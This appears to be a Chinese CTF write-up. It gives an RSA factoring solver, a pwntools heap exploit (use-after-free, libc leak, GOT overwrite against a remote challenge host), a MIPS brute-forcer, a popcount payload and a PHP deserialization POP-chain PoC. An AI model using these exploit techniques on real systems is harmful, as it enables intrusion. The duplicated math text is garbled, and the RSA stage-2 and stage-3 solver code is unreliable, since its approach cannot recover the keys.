17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
┃ public key = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
┃ enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
----------------------
┃ stage 3: a*p + q, p + bq
┃ hints = (68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037, 117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
┃ public key = (94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581, 65537)
┃ enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
from Crypto.Util.number import *
from secrets import flag
from math import ceil
import sys

class RSA():
    def __init__(self, privatekey, publickey):
        self.p, self.q, self.d = privatekey
        self.n, self.e = publickey

    def encrypt(self, plaintext):
        if isinstance(plaintext, bytes):
            plaintext = bytes_to_long(plaintext)
        ciphertext = pow(plaintext, self.e, self.n)
        return ciphertext

    def decrypt(self, ciphertext):
        if isinstance(ciphertext, bytes):
            ciphertext = bytes_to_long(ciphertext)
        plaintext = pow(ciphertext, self.d, self.n)
        return plaintext

def get_keypair(nbits, e = 65537):
    p = getPrime(nbits//2)
    q = getPrime(nbits//2)
    n = p * q
    d = inverse(e, n - p - q + 1)
    return (p, q, d), (n, e)

if __name__ == '__main__':
    pt = './output.txt'
    fout = open(pt, 'w')
    sys.stdout = fout

    block_size = ceil(len(flag)/3)
    flag = [flag[i:i+block_size] for i in range(0, len(flag), block_size)]
    e = 65537

    print(f'[+] Welcome to my apbq game')
    # stage 1
    print(f'┃ stage 1: p + q')
    prikey1, pubkey1 = get_keypair(1024)
    RSA1 = RSA(prikey1, pubkey1)
    enc1 = RSA1.encrypt(flag[0])
    print(f'┃ hints = {prikey1[0] + prikey1[1]}')
    print(f'┃ public key = {pubkey1}')
    print(f'┃ enc1 = {enc1}')
    print(f'----------------------')

    # stage 2
    print(f'┃ stage 2: ai*p + bi*q')
    prikey2, pubkey2 = get_keypair(1024)
    RSA2 = RSA(prikey2, pubkey2)
    enc2 = RSA2.encrypt(flag[1])
    kbits = 180
    a = [getRandomNBitInteger(kbits) for i in range(100)]
    b = [getRandomNBitInteger(kbits) for i in range(100)]
    c = [a[i]*prikey2[0] + b[i]*prikey2[1] for i in range(100)]
    print(f'┃ hints = {c}')
    print(f'┃ public key = {pubkey2}')
    print(f'┃ enc2 = {enc2}')
    print(f'----------------------')

    # stage 3
    print(f'┃ stage 3: a*p + q, p + bq')
    prikey3, pubkey3 = get_keypair(1024)
    RSA3 = RSA(prikey3, pubkey3)
    enc3 = RSA2.encrypt(flag[2])
    kbits = 512
    a = getRandomNBitInteger(kbits)
    b = getRandomNBitInteger(kbits)
    c1 = a*prikey3[0] + prikey3[1]
    c2 = prikey3[0] + b*prikey3[1] 
    print(f'┃ hints = {c1, c2}')
    print(f'┃ public key = {pubkey3}')
    print(f'┃ enc3 = {enc3}')

阶段 1: p+qp+q

在第一阶段中,我们获得了以下信息:

  • 模数 n=p⋅qn=pq
  • 提示 p+qp+q

根据已知信息,我们可以构造一个关于 pp 和 qq 的二次方程:

t2−(p+q)t+pq=0t2−(p+q)t+pq=0

代入 p+q=xp+q=x 和 pq=npq=n,方程变为:

t2−xt+n=0t2−x**t+n=0

通过求解这个二次方程的根,我们可以使用求根公式:

t=x±x2−4n2t=2x±x2−4n

得到两个根 pp 和 qq。一旦确定 pp 和 qq,接着可以计算 ϕ(n)ϕ(n):

ϕ(n)=(p−1)(q−1)ϕ(n)=(p−1)(q−1)

然后计算私钥 dd:

d≡e−1(modϕ(n))de−1(modϕ(n))

阶段 2: ai⋅p+bi⋅qa**ip+b**iq

在第二阶段,我们得到了多个线性组合形式的提示:

ci=ai⋅p+bi⋅q,对于 i=1,2,…,100c**i=a**ip+b**iq,对于 i=1,2,…,100

这些方程组成了一个线性方程组,我们可以将其表示为矩阵形式,设想我们有矩阵 AA 和向量 xx 和 bb:

A=(a1b1a2b2⋮⋮a100b100),x=(pq),b=(c1c2⋮c100)A=a1a2⋮a100b1b2⋮b100,x=(p**q),b=c1c2⋮c100

我们可以通过解线性方程组 Ax=bAx=b 来恢复 pp 和 qq。如果 AA 的秩为 2,则该方程组有唯一解。

阶段 3: a⋅p+qap+q 和 p+b⋅qp+bq

在第三阶段,我们获得了两个线性方程:

c1=a⋅p+qc1=ap+q

c2=p+b⋅qc2=p+bq

将这两个方程表示为矩阵形式:

(a11b)(pq)=(c1c2)(a11b)(p**q)=(c1c2)

同样地,我们可以通过求解这个 2×22×2 的线性方程组来恢复 pp 和 qq

总结

通过上述步骤,我们可以逐步恢复每一阶段的 RSA 密钥参数,最终通过已知的加密消息 cc 和计算出的私钥 dd,使用以下公式进行解密:

m=cdmod  nm=c**dmodn

整个解密过程依赖于数论和线性代数的交叉应用,通过利用已知结构和线性关系有效地恢复原始消息。

from crypto.Util.number import *
from gmpy2 import isqrt


def solve_stage1(n, e, ct, pq_sum):
    """
    Solve stage 1 where we have p + q
    Using: n = p*q and p + q = pq_sum
    """
    # Using the quadratic equation: x^2 - (p+q)x + n = 0
    # where p+q is known and n is known
    a = 1
    b = -pq_sum
    c = n

    # Quadratic formula
    discriminant = b * b - 4 * a * c
    p = (-b + isqrt(discriminant)) // 2
    q = n // p

    # Verify our solution
    assert p * q == n
    assert p + q == pq_sum

    # Calculate private key
    d = inverse(e, (p - 1) * (q - 1))
    pt = pow(ct, d, n)
    return long_to_bytes(pt)


def solve_stage2(n, e, ct, hints):
    """
    Solve stage 2 where we have multiple equations of form: ai*p + bi*q = ci
    Using LLL to find small solutions
    """
    from sage.all import Matrix, ZZ, vector

    # We'll use 2 equations for simplicity
    a1, a2 = hints[0], hints[1]  # These are the results (a*p + b*q)

    # Create matrix for LLL
    B = Matrix(ZZ, 4, 4)
    B[0, 0] = n
    B[1, 1] = n
    B[2, 2] = 1
    B[3, 3] = 1
    B[0, 2] = a1
    B[1, 3] = a2

    # Run LLL
    L = B.LLL()

    # Search for small vectors that give us p and q
    for row in L:
        k1, k2, t1, t2 = row
        candidate_p = abs(t1)
        if candidate_p > 1 and n % candidate_p == 0:
            p = candidate_p
            q = n // p
            if isPrime(p) and isPrime(q):
                # Verify our solution
                assert p * q == n

                # Calculate private key
                d = inverse(e, (p - 1) * (q - 1))
                pt = pow(ct, d, n)
                return long_to_bytes(pt)

    return None


def solve_stage3(n, e, ct, hint1, hint2):
    """
    Solve stage 3 where we have: a*p + q and p + b*q
    """
    # Let's call hint1 = a*p + q and hint2 = p + b*q
    # We can solve this system of equations:
    # hint1 = a*p + q
    # hint2 = p + b*q

    # From hint1: q = hint1 - a*p
    # Substitute into hint2:
    # hint2 = p + b*(hint1 - a*p)
    # hint2 = p + b*hint1 - a*b*p
    # p*(1 - a*b) = hint2 - b*hint1
    # p = (hint2 - b*hint1)/(1 - a*b)

    # Try different values for a and b
    for a in range(1, 1000):
        for b in range(1, 1000):
            if (1 - a * b) == 0:
                continue

            p = (hint2 - b * hint1) // (1 - a * b)
            if n % p == 0:
                q = n // p
                if isPrime(p) and isPrime(q):
                    # Verify solution
                    assert p * q == n

                    # Calculate private key
                    d = inverse(e, (p - 1) * (q - 1))
                    pt = pow(ct, d, n)
                    return long_to_bytes(pt)

    return None


# Parse inputs
n1, e = (
89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589,
65537)
ct1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
pq_sum = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170

# Run solvers
print("[+] Stage 1 solution:")
flag_part1 = solve_stage1(n1, e, ct1, pq_sum)
print(flag_part1)

print("\n[+] Stage 2 solution:")
n2 = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
ct2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
hints2 = [int(x) for x in "...".split(',')]  # List of 100 equations
flag_part2 = solve_stage2(n2, e, ct2, hints2)
print(flag_part2)

print("\n[+] Stage 3 solution:")
n3 = 94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581
ct3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
hint3_1, hint3_2 = (
68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037,
117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
flag_part3 = solve_stage3(n3, e, ct3, hint3_1, hint3_2)
print(flag_part3)

最后拼接flag即可

baby_heap

猜猜是不是uaf,打开一看很好啊很好.

1

运行分析

1

IDA分析 看看函数功能和隐藏内容

1

uaf

1

任意地址写

1

from pwn import *

#p = process('./pwn')
p = remote("39.106.63.28",20491)
libc = ELF('./libc-2.35.so')

rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
pl=lambda *args:print(*args)
ts=lambda *args:time.sleep(*args)
l8 = lambda x:x.ljust(8,b'\x00')

def malloc(size):
    sla(': ','1')
    sla('e ',str(size))

def free(idx):
    sla(': ', '2')
    sla(': ', str(idx))

def show(idx):
    sla(': ', '4')
    sla(': \n', str(idx))
    ru('here \n')

malloc(0x700)
malloc(0x10)
free(1)
show(1)
libc_base_addr = u64(p.recv(8))-0x21ace0
got = libc_base_addr + 0x00000000021A118
sla(': ', '0')
sd(p64(got))
sd(p64(libc_base_addr+libc.symbols['puts']))
sla(': ', '5')
sl('2')
ia()

运行之后不用输命令就会跳出flag

但是这里我很奇怪怎么打本地都打不通,打远程就可以

mips

主要加密在emu里面,是一个类似于rc4加密的加密,找到加密的地址,有花指令恢复一下函数

1

恢复完成,经过动态调试后发现xor_data是动态的,一直调试不清楚,这里面我们选择爆破

1

import numpy as np

deadbeef = bytearray([0xDE, 0xAD, 0xBE, 0xEF])

def enc(input_bytes, xor):
    SBox = bytearray([
        0x36, 0x68, 0x32, 0x44, 0x12, 0x61, 0x6f, 0xdf,
        0xba, 0xe9, 0x98, 0x28, 0x3d, 0xa8, 0xe6, 0x1e,
        0x4d, 0xf2, 0xb1, 0x7e, 0xc2, 0x6a, 0x96, 0x8c,
        0x37, 0x19, 0x14, 0x42, 0xa2, 0x11, 0xe5, 0x5b,
        0x9d, 0x23, 0x3, 0x83, 0xf8, 0xd8, 0x9, 0x8a,
        0x3c, 0x7d, 0x1a, 0x46, 0x49, 0xdc, 0x76, 0x63,
        0x3e, 0x4, 0x9a, 0xc, 0x43, 0x4b, 0x72, 0x5f,
        0x53, 0x21, 0x74, 0x66, 0x4f, 0xa7, 0xf6, 0x7b,
        0x94, 0xa3, 0x47, 0x8f, 0xf4, 0x52, 0x2a, 0x89,
        0x30, 0x33, 0x27, 0x2c, 0xf5, 0x75, 0x17, 0x79,
        0x5e, 0x7f, 0x9c, 0xcb, 0x55, 0xbb, 0x60, 0x38,
        0xb8, 0xd2, 0xd4, 0x8b, 0xbf, 0x1f, 0x41, 0x45,
        0x0, 0x82, 0x69, 0x40, 0xe1, 0x9f, 0xe2, 0xd3,
        0x4a, 0x1c, 0x71, 0x62, 0x18, 0x24, 0x97, 0x84,
        0xa, 0x8e, 0x3f, 0xf, 0x1, 0x86, 0xe, 0x67,
        0xc9, 0x99, 0x88, 0xb0, 0x6e, 0x54, 0x92, 0xef,
        0x9b, 0xd5, 0xa5, 0xb, 0xdd, 0xbd, 0xae, 0xcc,
        0xc8, 0x3a, 0x65, 0x56, 0xe0, 0xf1, 0x6, 0x1b,
        0xfa, 0xbc, 0xc4, 0x91, 0xc1, 0x2e, 0x13, 0xf0,
        0x58, 0xee, 0xac, 0xec, 0xa6, 0x26, 0x39, 0xb5,
        0xaf, 0xc3, 0x10, 0x5a, 0xd, 0x5d, 0x29, 0x15,
        0x6b, 0x50, 0xb2, 0xfe, 0xaa, 0x90, 0xa9, 0x51,
        0xd0, 0xb6, 0xc6, 0x34, 0xfc, 0xa0, 0xb3, 0x35,
        0xea, 0x7, 0xa4, 0x22, 0x80, 0x6d, 0x81, 0x57,
        0x87, 0x25, 0xc7, 0x4c, 0xd6, 0xce, 0x77, 0xd7,
        0xad, 0x78, 0x7a, 0x85, 0xa1, 0xf3, 0xe8, 0x5c,
        0x73, 0x48, 0xda, 0x31, 0x4e, 0x2d, 0x93, 0x16,
        0x2, 0x70, 0x1d, 0xfb, 0xcd, 0xe3, 0xf7, 0x64,
        0xf9, 0xc5, 0x8, 0x9e, 0x95, 0x2b, 0xe4, 0x20,
        0xd1, 0xfd, 0x7c, 0x2f, 0xbe, 0xb9, 0xdb, 0xde,
        0xe7, 0xd9, 0x3b, 0xeb, 0xff, 0xb7, 0xca, 0xb4,
        0x5, 0xc0, 0xab, 0xcf, 0xed, 0x6c, 0x8d, 0x59
    ])

    v7 = 0
    v8 = 0
    v14 = bytearray(256)

    for j in range(22):
        v12 = SBox[v7 + 1]
        v8 += v12
        SBox[v7], SBox[v8] = SBox[v8], SBox[v7]
        v3 = ((input_bytes[j + 5] << 7) | (input_bytes[j + 5] >> 1)) << 6
        v3 ^= 0x0FFFFFFC0
        v3 |= ((input_bytes[j + 5] << 7) | (input_bytes[j + 5] >> 1)) & 0xff >> 2
        v3 ^= 0x3B
        v3 ^= 0x0FFFFFFBE
        temp = ((v3 << 5) | (v3 >> 3)) ^ 0xFFFFFFAD & 0xff
        temp2 = ((temp << 4) | (temp >> 4)) ^ 0x0FFFFFFDE & 0xff
        temp3 = (temp2 << 3) | (temp2 >> 5)
        v14[j] = SBox[(SBox[v7] + v12) & 0xff] ^ deadbeef[j & 3] ^ temp3

    for i in range(22):
        v14[i] ^= xor
    
    return v14[:22]

def bomp():
    input_bytes = bytearray("flag{*********************}", 'utf-8')
    result = bytearray([
        0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D,
        0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80,
        0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91
    ])

    result[7], result[11] = result[11], result[7]
    result[12], result[16] = result[16], result[12]

    for k in range(256):
        for i in range(22):
            for j in range(256):
                input_bytes[5 + i] = j
                encrypted = enc(input_bytes, k)
                if result[i] == encrypted[i]:
                    print(chr(j), end='')
                    break
            else:
                print("?", end='')
        print()

bomp()

21_steps

import re
import random
from secrets import flag
print(f'Can you weight a 128 bits number in 21 steps')
pattern = r'([AB]|\d+)=([AB]|\d+)(\+|\-|\*|//|<<|>>|&|\^|%)([AB]|\d+)'

command = input().strip()
assert command[-1] == ';'
assert all([re.fullmatch(pattern, i) for i in command[:-1].split(';')])

step = 21
for i in command[:-1].split(';'):
    t = i.translate(str.maketrans('', '', '=AB0123456789'))
    if t in ['>>', '<<', '+', '-', '&', '^']:
        step -= 1
    elif t in ['*', '/', '%']:
        step -= 3
if step < 0:exit()

success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
    A = random.randrange(0, 2**128)
    wa = w(A)
    B = 0
    try : exec("global A; global B;" + command)
    except : exit()
    if A == wa:
        success += 1

if success == 100:
    print(flag)

先是搞了一个白名单,然后这里继续看规则

step = 21
for i in command[:-1].split(';'):
    t = i.translate(str.maketrans('', '', '=AB0123456789'))
    if t in ['>>', '<<', '+', '-', '&', '^']:
        step -= 1
    elif t in ['*', '/', '%']:
        step -= 3
if step < 0:exit()
  • 如果操作符是 >><<+-&^,则将 step 减少1。
  • 如果操作符是 */%,则将 step 减少3。
success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
    A = random.randrange(0, 2**128)
    wa = w(A)
    B = 0
    try : exec("global A; global B;" + command)
    except : exit()
    if A == wa:
        success += 1

这段代码的目的是在循环中随机生成128位的数 A,计算其汉明重量,只要进行100次的循环都成功即可,构造payload

B=A>>1;
B=B&113427455640312821154458202477256070485;
A=A-B;
B=A&68056473384187692692674921486353642291;
A=A>>2;
A=A&68056473384187692692674921486353642291;
A=A+B;
B=A>>4;
A=A+B;
A=A&20016609818878733144904388672456953615;
B=A>>8;
A=A+B;
B=A>>16;
A=A+B;
B=A>>32;
A=A+B;
B=A>>64;
A=A+B;
A=A&127;
root@dkcjbRCL8kgaNGz:~# nc 39.106.63.28 32807
Can you weight a 128 bits number in 21 steps
B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;A=A+B;A=A&20016609818878733144904388672456953615;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&127;
flag{you_can_weight_it_in_21_steps!}

Password Game

您不满足 Rule 1: 请至少包含数字和大小写字母

1Ab

您不满足 Rule 2: 密码中所有数字之和必须为18的倍数

18Qa

Rule 2: 密码中所有数字之和必须为30的倍数

540Qa

您不满足 Rule 2: 密码中所有数字之和必须为20的倍数

5150Qa

您不满足 Rule 2: 密码中所有数字之和必须为28的倍数

54019Qa

密码中所有数字之和必须为12的倍数

54519Qa

您不满足 Rule 2: 密码中所有数字之和必须为14的倍数

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

pop链子

user::destruct->guest::toString->user::invoke->guest::call

但是写了一下好像是打不通的


看了朋友的wp同时和大家交流发现可以这么打通,首先,要求哪里不一定非要写脚本打,可以直接抓包拿到源码,拿到源码之后再次分析链子,发现还是不够会想,一般的反序列化头头都是destruct

而这里是get,如何进入呢

1

那也就是我们只要被解析的最外面的类没有password就可以进入get

root::get->user::destruct

写个poc

<?php
class root{
    public $username;
    public $value;
}
class user{
    public $username;
    public $password;
    public $value;
}
$a=new root();
$a->username=new user();
$a->username->username="2024qwb";
$a->value=&$a->username->username;
$b=serialize($a);
$c=str_replace('s:7:"2024qwb"','S:7:"2024\\71wb"',$b);
echo $c;

引用赋值两个值都会改变(好久没用快忘了),记得换成S,不然无效,不清楚过程的可以调试一下

0x03 小结

web题主要就是卡在了路由的地方,代审的题目呢,不是很简单,黑盒呢,测得非常难受,不过一有回显我就会非常激动哈哈,开心:happy: